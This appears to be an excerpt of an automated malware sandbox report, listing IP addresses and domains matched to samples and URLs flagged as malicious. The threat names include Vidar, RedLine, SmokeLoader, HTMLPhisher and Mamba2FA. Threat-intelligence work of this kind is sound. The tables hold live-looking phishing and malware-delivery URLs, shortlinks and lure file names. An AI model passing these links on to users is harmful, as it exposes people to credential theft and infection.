europe.odcsm1.live.co
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: zip file.zip

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.45.66.155	Atlanta Office Interiors #024-010.pdf	Get hash	malicious	Unknown	Browse
	https://ipexcel-my.sharepoint.com/:u:/p/bhaskar/EXkHa_fTPjZKq-NlTqXIh7sBrIzBSy8pqbKPLGCEzX2rbA	Get hash	malicious	Unknown	Browse
	OrTzQl1ZBa.exe	Get hash	malicious	Vidar Glupteba Metasploit RedLine SmokeLoader	Browse
	WRpObsIa8q.exe	Get hash	malicious	Vidar	Browse
	ACDC44F3C8B2B8B12A3E396A3D9F5D353D17DAB46B0E7.exe	Get hash	malicious	Backstage Stealer RedLine SmokeLoader Vidar	Browse
	kWhElUg959.exe	Get hash	malicious	Glupteba Metasploit Raccoon RedLine Vidar	Browse
	l9iqEhEbQg.exe	Get hash	malicious	RedLine Vidar	Browse
	07985C9819097683B7F2BC59CC7D02E0497F012187E05.exe	Get hash	malicious	Backstage Stealer RedLine SmokeLoader Vidar	Browse
	9C83561FB5253478D523E0CA20900B7E0CE87E60F686B.exe	Get hash	malicious	RedLine SmokeLoader Vidar	Browse
	sp5q2BCFJ2.exe	Get hash	malicious	Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
18.245.31.78	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/HTVUP	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https:/t.ly/HTVUP	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://rieg.riegriegrieg.com/n/?c3Y9bzM2NV8xX29uZSZyYW5kPWJUZDBObUk9JnVpZD1VU0VSMDkxMDIwMjRVMTMxMDA5MTA=N0123N	Get hash	malicious	Unknown	Browse
	articulate-360.exe	Get hash	malicious	Unknown	Browse
	Deposit-MT103-Advice - 10_17_2024 Ref_ 5b2643b83d4e9319371173f2d6400ef65933cc2b.eml	Get hash	malicious	Mamba2FA	Browse
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse
192.229.133.221	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/8Lgfk	Get hash	malicious	Unknown	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
d2vgu95hoyrpkh.cloudfront.net	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	18.245.31.5
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse	18.165.32.115
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
	https://t.ly/8Lgfk	Get hash	malicious	Unknown	Browse	18.245.31.33
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.33
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.78
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.5
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	18.245.31.89
cs837.wac.edgecastcdn.net	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	192.229.133.221
	https://u47839971.ct.sendgrid.net/ls/click?upn=u001.SS8YqfWjf1b3UNFf2g8-2BbyepSJ9NnVqTjg5p4PlqyZLDG-2F-2FRHUWKB7tpHO-2BD9IAzfDK69NBor6n5GDDWuKOaXjILtpHrb-2FuqosweWIwJauCFjFOIVaIDje-2BTbWeqpid-2Fe0IpJIrTIznxRC8RuWTXkcZZXZKUxIgeeMWOFH96Tjh3a3uDeIXRyoiB6ZRGKZhHD63OuPdyktyTbMDbA-2FurGQ-3D-3DGlRK_1fgoI9z-2BmeHj6kFR5jmXJyN8Vyo9ja5rNrkl1rR8UXAlmAe6PSc2-2FD85CLOIF98tpCjfsSquWpaRYnYzjD-2B-2FDF-2F8BwiwRSEwmTXwwlDUaQI3bDBZTUv-2Ffbse4A61ed6hVc-2BhhTqdpCqzpir5GY49O-2BVdqG9mHEhTR8OvRsDhxES9QAdY7ZiH-2BurXMNUWGL6VuIIVYma05ZXZK6zhQMDhjNBnJShmRWPp7Ow2IJgH96F8uRyUdyMUZ9au5PfRhmvWMnTj3B1KVxYBpNo7XRlBSlYjK74Z4HptPWz0XAvVILLp4Z5Qq7I-2BYF76YXE5ZsE-2F9hOEdmxnqZwZIEaC1BNDg2XB-2BluEEvEXRuR9ohEPc6VObquUxTQmba8bObSY0wG3oOeb2xD8hV6IKwMnr9d-2B5HbQscEqkWH5k7qnk6bAGBIHHNt95VH4uagG-2Bh74PJCdwHqpitEnC4IeAHXNdNtMkKw34-2BF8TeV7q4SmkRwe9osbefOHPWGyls7sZdEjodVX7wlBDRV2BLQlTlDkK-2FzuZ2EsHCtWTv7yrVJT-2B6p3fl4O5qZGyWAuATjn7386SmbgYFZYAIaRjabXb6J3Z9IYhB-2BBiP3zxZSMd-2BGGNtSLCQw7FqwKOUhYoEZSgG-2FLraJhb7xOSF-2FZGKBw-2FWGPQ5W16K6ZnP31akPWN-2FRy3A1tFL9-2FQXaviWuNn8VOeqLfBR9isxQ-2BqB-2Fm-2BPFRMhM4zyM42FPD-2FRIJxCXHHfAnucSqTKeA1iykI89pw6joYB-2B9v-2FXzQpkgszpTxbxZcZ7mH0xUY6S3QZDaIWpt-2F-2B0FpvTn8cArsTTKjQo1QO476bdWvqqoz32vBNn214xuFkN0blGHeazkhMWwmEzZM6r-2BTFrW2-2Fha62dTAc7eNUguY6HOm3gtrj2-2FYlAidnBTp5Y8fj3jmA-3D-3D	Get hash	malicious	Unknown	Browse	192.229.133.221
	https://t.ly/8Lgfk	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://www.cognitoforms.com/f/dPw6PjKRNEiTBIouwlWxQQ/1	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://t.ly/8Lgfk	Get hash	malicious	Unknown	Browse	192.229.133.221
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	192.229.133.221
s-part-0017.t-0009.t-msedge.net	ACTION required to activate your account - bp Supplier Portal.eml	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpq